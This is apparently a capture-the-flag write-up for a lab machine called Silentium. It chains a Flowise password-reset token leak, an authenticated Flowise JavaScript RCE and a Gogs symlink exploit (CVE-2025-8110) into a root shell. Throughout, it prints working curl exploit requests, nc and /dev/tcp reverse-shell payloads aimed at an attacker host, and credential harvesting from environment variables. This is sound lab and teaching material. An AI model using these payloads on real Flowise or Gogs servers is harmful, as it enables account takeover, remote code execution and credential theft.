MISC EASY
TomatoBuster 2026  ·  Apr 12, 2026

Silentium

Abusing a Flowise AI unauthenticated password reset to hijack an admin account, leveraging an authenticated RCE endpoint to escape into a Docker container, leaking credentials from environment variables to SSH in as ben, then exploiting CVE-2025-8110 in Gogs to achieve a root shell.

Category
Misc
Architecture
Linux
Solver
@Tomat0Buster
// Table of Contents
01

Reconnaissance & Subdomain Enumeration

We begin with a standard nmap scan. Only two ports are open — SSH on 22 and nginx on 80 — and the HTTP server immediately redirects to silentium.htb. Even a full -p- scan confirms this is the complete attack surface.

bash — 80×24
$ nmap -sV 10.129.26.252
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-12 11:07 CEST
Nmap scan report for 10.129.26.252
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.36 seconds

Directory and domain brute-forcing against the root turns up nothing useful. However, vhost enumeration with gobuster uncovers an interesting subdomain:

bash — 80×24
$ gobuster vhost -u "http://silentium.htb" -w bitquark-subdomains-top100000.txt --append-domain
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://silentium.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  bitquark-subdomains-top100000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
staging.silentium.htb   Status: 200 [Size: 3142]
Progress: 6071 / 100000 (6.07%)

Visiting staging.silentium.htb reveals a Flowise AI instance — an open-source platform that lets users build customized LLM pipelines. The version is visible in the page source.

Key Finding staging.silentium.htb hosts a Flowise AI instance. Flowise exposes a rich REST API under /api/v1/, including user and authentication endpoints that don't require a valid session.
02

Flowise Account Takeover via Password Reset

By googling Flowise's CVE we can find that /api/v1/account/forgot-password endpoint is reachable without authentication. When supplied with a valid email, it generates a temporary reset token and returns it directly in the JSON response body. We can then use this temp token to reset the password of the user as we like.

Now we just need an email. We can find it trying the name of the employee Ben. The first step is then to take over the ben@silentium.htb admin account (we know it exist cause it doesn't return "user not found"). We POST to the forgot-password endpoint and pull the tempToken directly out of the response.

Once we are in possess of the temp token we can use it to reset Ben's account password.

1
// Request a password reset token

No authentication is required. The API returns a tempToken and its expiry directly in the response body.

bash — attacker
$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'
HTTP/1.1 201 Created
Content-Type: application/json; charset=utf-8

{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "tempToken": "V1ktVdYlu9bOLiS2tHxSxPGLxKBa3x12U8GAEIxXnZqoAozZdzT2O4Qh2r4Epo9D",
    "tokenExpiry": "2026-04-12T09:49:04.776Z",
    "status": "active"
  }
}
2
// Reset the password using the leaked token

We feed the tempToken straight into the reset-password endpoint to set a new password of our choosing.

bash — attacker
$ curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
    "user": {
      "email": "ben@silentium.htb",
      "tempToken": "V1ktVdYlu9bOLiS2tHxSxPGLxKBa3x12U8GAEIxXnZqoAozZdzT2O4Qh2r4Epo9D",
      "password": "MyPassword123"
    }
  }'
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"message":"Password reset successfully"}
3
// Log in and retrieve a Bearer token

With the new password in place we authenticate normally and capture the JWT Bearer token needed for the next stage.

bash — attacker
$ curl -s -X POST http://staging.silentium.htb/api/v1/account/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"MyPassword123"}' | jq -r '.token'
yaJ8yaTnN_2bwzPJQmhU9-0BIFPgMc3bz1a4L-RcmnM
Admin Access Obtained The tempToken leaked through the API let us hold a valid JWT for the ben@silentium.htb admin account.
03

Authenticated RCE & Docker Escape

With a valid Bearer token we can hit the /api/v1/node-load-method/customMCP endpoint. The mcpServerConfig value is evaluated server-side as JavaScript, giving us full access to Node's child_process module.

We know this from a google search, where we can find this Proof of Concept of this RCE (I just googled "Flowise CVE PoC"): RCE in FlowiseAI/Flowise

1
// Prepare the payload

We craft payload.json with a sh reverse-shell one-liner embedded inside a self-executing JavaScript function. The server evaluates the expression, spawning a shell back to our listener.

payload.json
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_sIP 4444 >/tmp/f');return 1;})()} )"
  }
}
2
// Start a listener, then fire the exploit
terminal 1 — listener
$ ncat -lvp 4444
Ncat: Listening on 0.0.0.0:4444
terminal 2 — exploit
$ curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer yaJ8yaTnN_2bwzPJQmhU9-0BIFPgMc3bz1a4L-RcmnM" \
  -d @payload.json
3
// Shell received — we are root inside Docker
terminal 1 — shell
Ncat: Connection from 10.129.26.252:54408.
~ # id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
4
// Leak credentials from environment variables

The container environment is loaded with secrets — including SMTP credentials and the Flowise password. We dump everything and spot usable SSH passwords.

docker container — root
~ # env
FLOWISE_PASSWORD=REDACTED
HOSTNAME=c78c3cceb7ba
SMTP_PORT=1025
PORT=3000
SENDER_EMAIL=ben@silentium.htb
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
FLOWISE_USERNAME=ben
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
SMTP_PASSWORD=REDACTED
SMTP_HOST=mailhog
SMTP_USER=test
...
Credential Candidates Two passwords stand out: REDACTED (Flowise) and REDACTED (SMTP). We try both against SSH for user ben.
bash — attacker
$ ssh ben@10.129.26.252
ben@10.129.26.252's password: REDACTED
Welcome to Ubuntu 24.04.2 LTS
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
04Root Flag

User Flag

The user flag, as always, is waiting us in the home directory.

ben@silentium
ben@silentium:~$ cat user.txt
HTB{REDACTED}
User Flag Captured Password reset token leak → RCE → env var credential leak → SSH. First flag is done. Now on to root.
05

Privilege Escalation via CVE-2025-8110 (Gogs)

Enumerating the machine we find a Gogs instance running locally. Gogs is vulnerable to CVE-2025-8110 — a symlink-based RCE that allows an authenticated user to overwrite .git/config inside any repository, injecting an arbitrary sshCommand that executes when a privileged process runs git push.

Also here, becoming aware that our hacker skills are more and more relying on google searches, we can find the following PoC online: gogs-CVE-2025-8110

Changing the credentials as the ones of the user we registered and deleting the register function in the PoC we can get a reverse shell.

1
// Register an account on Gogs, grab an API token and remove the register function from the PoC

The Gogs instance allows open registration. We sign up with a random user and password like user:Password123!, then generate an application token from the settings page to use with the API.

bash — attacker
$ cat exploit_cve-2025-8110.py
 
    ...
    username = "user"
    password = "Password123!"
    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
    try:
        login(session, args.url, username, password)
        token = get_application_token(session, args.url)
        repo_name = create_malicious_repo(session, args.url, token)
        git_config = f"""[core]
      ...
2
// Launch the script

The script let us gain a rev shell, let's spawn first an ncat listener and the execute the script

bash — attacker
$ python3 exploit_cve-2025-8110.py -u TARGET_URL -lh ATTACKER_IP -lp ATTACKER_PORT 
 
    [+] Exploit sent, check your listener!
3
// Catch the root shell
terminal — listener
$ ncat -lvp 5555
Ncat: Connection from 10.129.26.252:49102.
root@silentium:~# id
uid=0(root) gid=0(root) groups=0(root)
Why CVE-2025-8110 works CVE-2025-8110 is a vulnerability in Gogs where the app fails to properly check symbolic links, allowing us to write files outside a repository. By exploiting this, we can overwrite critical files and achieve remote code execution
06

Root Flag

With a root shell on the host we head straight to /root and collect the final flag.

root@silentium
root@silentium:~# ls
root.txt
root@silentium:~# cat root.txt
HTB{REDACTED}
// Root Flag Captured
HTB{REDACTED}
Related Writeups View all →